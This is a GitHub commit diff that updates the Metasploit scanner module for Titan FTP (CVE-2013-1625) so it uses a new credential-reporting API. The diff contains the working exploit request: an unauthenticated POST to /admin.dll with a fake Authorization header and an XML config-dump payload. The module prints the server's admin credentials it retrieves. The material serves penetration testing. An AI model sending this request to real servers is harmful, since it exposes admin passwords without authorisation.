Skip to content

Commit 907f596

Browse files
committed
Land rapid7#5520, Update titan_ftp_admin_pwd to use the new creds API
2 parents ebce415 + 940d045 commit 907f596

File tree

1 file changed

+35
-12
lines changed

1 file changed

+35
-12
lines changed

modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb

Lines changed: 35 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -33,25 +33,24 @@ def initialize
3333
'License' => MSF_LICENSE,
3434
'References' =>
3535
[
36-
[ 'CVE', '2013-1625' ],
36+
[ 'CVE', '2013-1625' ]
3737
]
3838
)
3939

4040
register_options([Opt::RPORT(31001)], self.class)
41-
deregister_options('PASSWORD', 'USERNAME')
4241
end
4342

4443
def run_host(ip)
4544
res = send_request_cgi(
4645
{
47-
'uri' => "/admin.dll",
46+
'uri' => '/admin.dll',
4847
'method' => 'POST',
4948
'headers' => {
5049
'SRT-WantXMLResponses' => 'true',
5150
'SRT-XMLRequest' => 'true',
5251
'Authorization' => 'Basic FAKEFAKE'
5352
},
54-
'data' => "<SRRequest><SRTarget>DOM</SRTarget><SRAction>GCFG</SRAction><SRServerName/><SRPayload></SRPayload></SRRequest>",
53+
'data' => '<SRRequest><SRTarget>DOM</SRTarget><SRAction>GCFG</SRAction><SRServerName/><SRPayload></SRPayload></SRRequest>'
5554
})
5655
return if not res
5756

@@ -89,15 +88,39 @@ def run_host(ip)
8988
print_good("#{ip}:#{datastore['RPORT']} - Base Directory: #{info[:basedir]}")
9089
end
9190
print_good("#{ip}:#{datastore['RPORT']} - Admin Credentials: '#{info[:username]}:#{info[:password]}'")
92-
report_auth_info(
93-
:host => ip,
94-
:port => datastore['RPORT'],
95-
:user => info[:username],
96-
:pass => info[:password],
97-
:ptype => "password",
98-
:proto => "http",
99-
:sname => "Titan FTP Admin Console"
91+
report_cred(
92+
ip: ip,
93+
port: datastore['RPORT'],
94+
user: info[:username],
95+
password: info[:password],
96+
service_name: 'ftp'
10097
)
10198
end
10299
end
100+
101+
def report_cred(opts)
102+
service_data = {
103+
address: opts[:ip],
104+
port: opts[:port],
105+
service_name: opts[:service_name],
106+
protocol: 'tcp',
107+
workspace_id: myworkspace_id
108+
}
109+
110+
credential_data = {
111+
origin_type: :service,
112+
module_fullname: fullname,
113+
username: opts[:user],
114+
private_data: opts[:password],
115+
private_type: :password
116+
}.merge(service_data)
117+
118+
login_data = {
119+
core: create_credential(credential_data),
120+
status: Metasploit::Model::Login::Status::UNTRIED,
121+
}.merge(service_data)
122+
123+
create_credential_login(login_data)
124+
end
125+
103126
end

0 commit comments

Comments
 (0)